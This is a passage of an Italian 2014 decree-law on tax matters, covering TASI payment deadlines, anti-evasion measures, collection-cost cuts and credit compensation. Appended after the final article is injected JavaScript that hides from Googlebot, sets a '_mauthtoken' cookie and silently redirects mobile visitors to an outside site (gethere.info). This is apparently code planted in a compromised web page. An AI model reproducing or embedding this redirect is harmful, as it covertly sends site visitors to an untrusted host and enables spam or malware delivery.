addizionali, da versarsi in unica soluzione entro il termine di
versamento del saldo delle imposte sui redditi dovute per il periodo
d’imposta in corso al 31 dicembre 2013. Gli importi da versare
possono essere compensati ai sensi del decreto legislativo 9 luglio
1997, n. 241. L’imposta e’ pari al 26 per cento del valore nominale
delle quote alla suddetta data, al netto del valore fiscalmente
riconosciuto. Il valore fiscale delle quote si considera riallineato
al maggior valore iscritto in bilancio, fino a concorrenza del valore
nominale, a partire dal periodo d’imposta in corso alla data di
entrata in vigore della presente disposizione. Se il valore
iscritto in bilancio e’ minore del valore nominale, quest’ultimo
valore rileva comunque ai fini fiscali a partire dallo stesso periodo
d’imposta.».
12-bis. (Omissis).
12-ter. All’articolo 3, comma 1, della legge 18 febbraio 1999, n.
28, dopo le parole: «distribuzione di utili» sono inserite le
seguenti: «ai soci cooperatori».
12-quater. Al comma 688 dell’articolo 1 della legge 27 dicembre
2013, n. 147, gli ultimi tre periodi sono sostituiti dai seguenti: «A
decorrere dall’anno 2015, i comuni assicurano la massima
semplificazione degli adempimenti dei contribuenti rendendo
disponibili i modelli di pagamento preventivamente compilati su loro
richiesta, ovvero procedendo autonomamente all’invio degli stessi
modelli. Per il solo anno 2014, in deroga al settimo periodo del
presente comma, il versamento della prima rata della TASI e’
effettuato, entro il 16 giugno 2014, sulla base delle deliberazioni
di approvazione delle aliquote e delle detrazioni pubblicate nel sito
informatico di cui al citato decreto legislativo n. 360 del 1998,
alla data del 31 maggio 2014; a tal fine, i comuni sono tenuti ad
effettuare l’invio delle predette deliberazioni, esclusivamente in
via telematica, entro il 23 maggio 2014, mediante inserimento del
testo delle stesse nell’apposita sezione del Portale del federalismo
fiscale. Nel caso di mancato invio delle deliberazioni entro il
predetto termine del 23 maggio 2014, il versamento della prima rata
della TASI e’ effettuato entro il 16 ottobre 2014 sulla base delle
deliberazioni concernenti le aliquote e le detrazioni, nonche’ dei
regolamenti della TASI pubblicati nel sito informatico di cui al
citato decreto legislativo n. 360 del 1998, alla data del 18
settembre 2014; a tal fine, i comuni sono tenuti ad effettuare
l’invio delle predette deliberazioni, esclusivamente in via
telematica, entro il 10 settembre 2014, mediante inserimento del
testo delle stesse nell’apposita sezione del Portale del federalismo
fiscale. Nel caso di mancato invio delle deliberazioni entro il
predetto termine del 10 settembre 2014, l’imposta e’ dovuta
applicando l’aliquota di base dell’1 per mille di cui al comma 676,
comunque entro il limite massimo di cui al primo periodo del comma
677, e il relativo versamento e’ effettuato in un’unica soluzione
entro il 16 dicembre 2014. Nel caso di mancato invio della delibera
entro il predetto termine del 10 settembre 2014 ovvero di mancata
determinazione della percentuale di cui al comma 681, la TASI e’
dovuta dall’occupante, nella misura del 10 per cento dell’ammontare
complessivo del tributo, determinato con riferimento alle condizioni
del titolare del diritto reale. Nel caso di mancato invio delle
deliberazioni entro il predetto termine del 23 maggio 2014, ai comuni
appartenenti alle regioni a statuto ordinario e alla regione
siciliana e alla regione Sardegna, il Ministero dell’interno, entro
il 20 giugno 2014, eroga un importo a valere sul Fondo di
solidarieta’ comunale, corrispondente al 50 per cento del gettito
annuo della TASI, stimato ad aliquota di base e indicato, per
ciascuno di essi, con decreto di natura non regolamentare del
Ministero dell’economia e delle finanze – Dipartimento delle finanze,
da adottare entro il 10 giugno 2014. Il Ministero dell’interno
comunica all’Agenzia delle entrate, entro il 30 settembre 2014, gli
eventuali importi da recuperare nei confronti dei singoli comuni ove
le anticipazioni complessivamente erogate siano superiori all’importo
spettante per l’anno 2014 a titolo di Fondo di solidarieta’ comunale.
L’Agenzia delle entrate procede a trattenere le relative somme, per i
comuni interessati, da qualsiasi entrata loro dovuta riscossa tramite
il sistema del versamento unificato, di cui all’articolo 17 del
decreto legislativo 9 luglio 1997, n. 241. Gli importi recuperati
dall’Agenzia delle entrate sono versati dalla stessa ad apposito
capitolo dell’entrata del bilancio dello Stato entro il mese di
ottobre 2014 ai fini della riassegnazione per il reintegro del Fondo
di solidarieta’ comunale nel medesimo anno».
Art. 5
Modifiche all’articolo 14 del decreto-legge 8 agosto 2013, n. 91, e
all’articolo 10 del decreto legislativo 14 marzo 2011, n. 23
(Omissis).
1-bis. All’articolo 10, comma 4, del decreto legislativo 14
marzo 2011, n. 23, sono aggiunte, in fine, le seguenti parole: «, e
delle disposizioni di cui all’articolo 2 della legge 1 dicembre 1981,
n. 692, e all’articolo 40 della legge 16 giugno 1927, n. 1766».
Art. 5-bis
Modifiche al regime di entrate riscosse per atti di competenza del
Ministero degli affari esteri
(Omissis).
3. Sono abrogati:
a) il comma 6 dell’articolo 55 della legge 21 novembre 2000, n.
342;
b) l’articolo 1 della tariffa annessa al decreto del Presidente
della Repubblica 26 ottobre 1972, n. 641, e successive modificazioni,
recante la disciplina delle tasse sulle concessioni governative.
CAPO III
CONTRASTO ALL’EVASIONE FISCALE
Art. 6
Strategie di contrasto all’evasione fiscale
1. Nelle more dell’attuazione degli obiettivi di stima e
monitoraggio dell’evasione fiscale e di rafforzamento dell’attivita’
conoscitiva e di controllo di cui agli articoli 3 e 9 della legge 11
marzo 2014, n. 23, il Governo, entro sessanta giorni dall’entrata in
vigore del presente decreto, presenta alle Camere un rapporto sulla
realizzazione delle strategie di contrasto all’evasione fiscale, sui
risultati conseguiti nel 2013, specificati per ciascuna regione,
e nell’anno in corso, nonche’ su quelli attesi, con riferimento
sia al recupero di gettito derivante da accertamento di evasione che
a quello attribuibile alla maggiore propensione all’adempimento da
parte dei contribuenti, come effetto delle misure e degli interventi
definiti. Conseguentemente, relativamente all’anno 2013, non si
applica l’articolo 2, comma 36.1, del decreto-legge 13 agosto 2011,
n. 138, convertito, con modificazioni, dalla legge 14 settembre 2011,
n. 148.
2. Anche sulla base degli indirizzi delle Camere, il Governo
definisce un programma di ulteriori misure ed interventi al fine di
implementare, anche attraverso la cooperazione internazionale ed il
rafforzamento dei controlli, l’azione di prevenzione e di contrasto
all’evasione fiscale allo scopo di conseguire nell’anno 2015 un
incremento di almeno 2 miliardi di euro di entrate dalla lotta
all’evasione fiscale rispetto a quelle ottenute nell’anno 2013.
Art. 7
Destinazione dei proventi della lotta all’evasione fiscale
1. Le disposizioni di cui all’articolo 2, comma 36, terzo e quarto
periodo, del decreto-legge 13 agosto 2011, n. 138, convertito, con
modificazioni, dalla legge 14 settembre 2011, n. 148, cosi’ come
modificato dall’articolo 1, comma 299, della legge 24 dicembre 2012,
n. 228, si applicano fino all’annualita’ 2013 con riferimento alla
valutazione delle maggiori entrate dell’anno medesimo rispetto a
quelle del 2012. Le maggiori entrate strutturali ed effettivamente
incassate nell’anno 2013 derivanti dall’attivita’ di contrasto
all’evasione fiscale, valutate ai sensi del predetto articolo 2,
comma 36, in 300 milioni di euro annui dal 2014, concorrono alla
copertura degli oneri derivanti dal presente decreto.
1-bis. All’articolo 1 della legge 27 dicembre 2013, n. 147, sono
apportate le seguenti modifiche:
a) al comma 431, la lettera b) e’ sostituita dalla seguente:
«b) l’ammontare di risorse permanenti che, in sede di nota di
aggiornamento del Documento di economia e finanza, si stima di
incassare quali maggiori entrate rispetto alle previsioni scritte nel
bilancio dell’esercizio in corso e a quelle effettivamente incassate
nell’esercizio precedente derivanti dall’attivita’ di contrasto
dell’evasione fiscale, al netto di quelle derivanti dall’attivita’ di
recupero fiscale svolta dalle regioni, dalle province e dai comuni»;
b) al comma 435, dopo le parole: «Per il 2014» sono inserite le
seguenti: «e il 2015».
TITOLO II
RISPARMI ED EFFICIENZA DELLA SPESA PUBBLICA
CAPO I
RAZIONALIZZAZIONE DELLA SPESA PUBBLICA PER BENI E SERVIZI
(Omissis).
Art. 11
Riduzione dei costi di riscossione fiscale
1. L’Agenzia delle entrate provvede alla revisione delle
condizioni, incluse quelle di remunerazione delle riscossioni dei
versamenti unitari di cui all’articolo 17 del decreto legislativo 9
luglio 1997, n. 241 effettuate da parte delle banche e degli altri
operatori, del servizio di accoglimento delle deleghe di pagamento,
in modo da assicurare una riduzione di spesa pari, per l’anno 2014,
al 30 per cento e, per ciascun anno successivo, al 40 per cento di
quella sostenuta nel 2013; conseguentemente i trasferimenti alla
predetta Agenzia sono ridotti di 75 milioni di euro per l’anno 2014 e
di 100 milioni di euro a decorrere dall’anno 2015.
2. A decorrere dal 1º ottobre 2014, fermi restando i limiti gia’
previsti da altre disposizioni vigenti in materia, i versamenti di
cui all’articolo 17 del decreto legislativo 9 luglio 1997, n. 241,
sono eseguiti:
a) esclusivamente mediante i servizi telematici messi a
disposizione dall’Agenzia delle entrate, nel caso in cui, per effetto
delle compensazioni effettuate, il saldo finale sia di importo pari a
zero;
b) esclusivamente mediante i servizi telematici messi a
disposizione dall’Agenzia delle entrate e dagli intermediari della
riscossione convenzionati con la stessa, nel caso in cui siano
effettuate delle compensazioni e il saldo finale sia di importo
positivo;
c) esclusivamente mediante i servizi telematici messi a
disposizione dall’Agenzia delle entrate e dagli intermediari della
riscossione convenzionati con la stessa, nel caso in cui il saldo
finale sia di importo superiore a mille euro.
3. (Soppresso).
Art. 11-bis
Norme in materia di rateazione
1. I contribuenti decaduti dal beneficio della rateazione previsto
dall’articolo 19 del decreto del Presidente della Repubblica 29
settembre 1973, n. 602, possono richiedere la
concessione di un nuovo
piano di rateazione, fino a un massimo di settantadue rate mensili, a
condizione che:
a) la decadenza sia intervenuta entro e non oltre il 22 giugno
2013;
b) la richiesta sia presentata entro e non oltre il 31 luglio 2014.
2. Il piano di rateazione concesso ai sensi del comma 1 non e’
prorogabile e il debitore decade dallo stesso in caso di mancato
pagamento di due rate anche non consecutive.
3. Il comma 13-ter dell’articolo 10 del decreto-legge 6 dicembre
2011, n. 201, convertito, con modificazioni, dalla legge 22 dicembre
2011, n. 214, e’ abrogato.
(Omissis).
CAPO III
TRASFERIMENTI E SUSSIDI
Art. 22
Riduzione delle spese fiscali
1. All’articolo 1, comma 423, della legge 23 dicembre 2005, n. 266,
e successive modificazioni, le parole: «e si considerano produttive
di reddito agrario» sono sostituite dalle seguenti: «. Il reddito e’
determinato applicando all’ammontare dei corrispettivi delle
operazioni soggette a registrazione agli effetti dell’imposta sul
valore aggiunto il coefficiente di redditivita’ del 25 per cento,».
Le disposizioni del presente comma si applicano a decorrere dal
periodo di imposta successivo a quello in corso al 31 dicembre 2014 e
di esse si tiene conto ai fini della determinazione dell’acconto
delle imposte sui redditi dovute per il predetto periodo d’imposta.
1-bis. Limitatamente all’anno 2014, ferme restando le disposizioni
tributarie in materia di accisa, la produzione e la cessione di
energia elettrica e calorica da fonti rinnovabili agroforestali, sino
a 2.400.000 kWh anno, e fotovoltaiche, sino a 260.000 kWh anno,
nonche’ di carburanti ottenuti da produzioni vegetali provenienti
prevalentemente dal fondo e di prodotti chimici derivanti da prodotti
agricoli provenienti prevalentemente dal fondo effettuate dagli
imprenditori agricoli, costituiscono attivita’ connesse ai sensi
dell’articolo 2135, terzo comma, del codice civile e si considerano
produttive di reddito agrario. Per la produzione di energia, oltre i
limiti suddetti, il reddito delle persone fisiche, delle societa’
semplici e degli altri soggetti di cui all’articolo 1, comma 1093,
della legge 27 dicembre 2006, n. 296, e’ determinato, ai fini IRPEF
ed IRES applicando all’ammontare dei corrispettivi delle operazioni
soggette a registrazione agli effetti dell’imposta sul valore
aggiunto, relativamente alla componente riconducibile alla
valorizzazione dell’energia ceduta, con esclusione della quota
incentivo, il coefficiente di redditivita’ del 25 per cento, fatta
salva l’opzione per la determinazione del reddito nei modi ordinari,
previa comunicazione all’ufficio secondo le modalita’ previste dal
regolamento di cui al decreto del Presidente della Repubblica 10
novembre 1997, n. 442. Le disposizioni del presente comma si
applicano a decorrere dal periodo di imposta successivo a quello in
corso al 31 dicembre 2013 e di esse si tiene conto ai fini della
determinazione dell’acconto delle imposte sui redditi e dell’imposta
regionale sulle attivita’ produttive dovute per il predetto periodo
d’imposta.
2. Il comma 5-bis dell’articolo 4 del decreto-legge 2 marzo 2012,
n. 16, convertito, con modificazioni, dalla legge 26 aprile 2012, n.
44, e’ sostituito dal seguente: «5-bis. Con decreto di natura non
regolamentare del Ministro dell’economia e delle finanze, di concerto
con i Ministri delle politiche agricole alimentari e forestali, e
dell’interno, sono individuati i comuni nei quali, a decorrere
dall’anno di imposta 2014, si applica l’esenzione di cui alla lettera
h) del comma 1 dell’articolo 7 del decreto legislativo 30 dicembre
1992, n. 504, sulla base dell’altitudine riportata nell’elenco dei
comuni italiani predisposto dall’Istituto nazionale di statistica
(ISTAT), diversificando tra terreni posseduti da coltivatori diretti
e imprenditori agricoli professionali di cui all’articolo 1 del
decreto legislativo 29 marzo 2004, n. 99, iscritti nella previdenza
agricola, e gli altri. Ai terreni a immutabile destinazione
agro-silvo-pastorale a proprieta’ collettiva indivisibile e
inusucapibile che, in base al predetto decreto, non ricadano in zone
montane o di collina, e’ riconosciuta l’esenzione dall’IMU. Dalle
disposizioni di cui al presente comma deve derivare un maggior
gettito complessivo annuo non inferiore a 350 milioni di euro a
decorrere dal medesimo anno 2014. Il recupero del maggior gettito,
come risultante per ciascun comune a seguito dell’adozione del
decreto di cui al periodo precedente, e’ operato, per i comuni delle
Regioni a statuto ordinario e delle Regioni Siciliana e Sardegna, con
la procedura prevista dai commi 128 e 129 dell’articolo 1 della legge
24 dicembre 2012, n. 228, e, per i comuni delle regioni
Friuli-Venezia Giulia e Valle d’Aosta e delle province autonome di
Trento e di Bolzano, in sede di attuazione del comma 17 dell’articolo
13 del decreto-legge 6 dicembre 2011, n. 201, convertito, con
modificazioni, dalla legge 22 dicembre 2011, n. 214. Con apposito
decreto del Ministero dell’interno, di concerto con il Ministero
dell’economia e delle finanze, sono stabilite le modalita’ per la
compensazione del minor gettito in favore dei comuni nei quali
ricadono terreni a immutabile destinazione agro-silvo-pastorale a
proprieta’ collettiva indivisibile e inusucapibile non situati in
zone montane o di collina, ai quali e’ riconosciuta l’esenzione
dall’IMU.
2-bis. I decreti di cui all’articolo 4, comma 5-bis, primo e ultimo
periodo, del decreto-legge 2 marzo 2012, n. 16, convertito, con
modificazioni, dalla legge 26 aprile 2012, n. 44, come sostituito dal
comma 2 del presente articolo, sono adottati entro novanta giorni
dalla data di entrata in vigore della legge di conversione del
presente decreto.
(Omissis).
TITOLO III
PAGAMENTO DEI DEBITI DELLE PUBBLICHE AMMINISTRAZIONI
(Omissis).
CAPO II
STRUMENTI PER FAVORIRE L’ESTINZIONE DEI DEBITI DELLE PUBBLICHE
AMMINISTRAZIONI
(Omissis).
Art. 38-bis
Semplificazione fiscale della cessione dei crediti
1. Gli atti di cessione dei crediti certi, liquidi ed esigibili nei
confronti delle pubbliche amministrazioni di cui all’articolo 1,
comma 2, del decreto legislativo 30 marzo 2001, n. 165, per
somministrazioni, forniture ed appalti e per obbligazioni relative a
prestazioni professionali, alla data del 31 dicembre 2013, nonche’ le
operazioni di ridefinizione dei relativi debiti richieste dalla
pubblica amministrazione debitrice e garanzie connesse, sono esenti
da imposte, tasse e diritti di qualsiasi tipo. La disposizione di cui
al presente comma non si applica all’imposta sul valore aggiunto.
2. All’onere di cui al comma 1, pari ad 1 milione di euro per
l’anno 2014, si provvede mediante utilizzo delle somme versate entro
il 15 maggio 2014 all’entrata del bilancio dello Stato ai sensi
dell’articolo 148, comma 1, della legge 23 dicembre 2000, n. 388,
che, alla data di entrata in vigore della legge di conversione del
presente decreto, non sono state riassegnate ai pertinenti programmi
e che sono acquisite, nel limite di 1 milione di euro,
definitivamente al bilancio dello Stato.
Art. 39
Crediti compensabili
1. All’articolo 28-quinquies del decreto del Presidente della
Repubblica 29 settembre 1973, n. 602, al primo periodo, sono
soppresse le parole «maturati al 31 dicembre 2012».
1-bis. Agli articoli 28-quater, comma 1, e 28-quinquies, comma 1,
del decreto del Presidente della Repubblica 29 settembre 1973, n.
602, le parole: «nei confronti dello Stato, degli enti pubblici
nazionali, delle regioni, degli enti locali e degli enti del Servizio
sanitario nazionale» sono sostituite dalle seguenti: «nei confronti
delle amministrazioni pubbliche di cui all’articolo 1, comma 2, del
decreto legislativo 30 marzo 2001, n. 165, e successive
modificazioni».
Art. 40
Termine di notifica delle cartelle esattoriali ai fini della
compensabilita’ con i crediti certificati
1. All’articolo 9, comma 02, del decreto-legge 8 aprile 2013, n.
35, convertito, con modificazioni, dalla legge 6 giugno 2013, n. 64,
le parole «31 dicembre 2012», sono sostituite dalle seguenti «30
settembre 2013».
(Omissis).
TITOLO IV
NORME FINANZIARIE ED ENTRATA IN VIGORE
(Omissis).
Art. 51
Entrata in vigore
1. Il presente decreto entra in vigore il giorno stesso della sua
pubblicazione nella Gazzetta Ufficiale della Repubblica italiana e
sara’ presentata alle Camere per la conversione in legge.
(Omesso l’allegato).if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}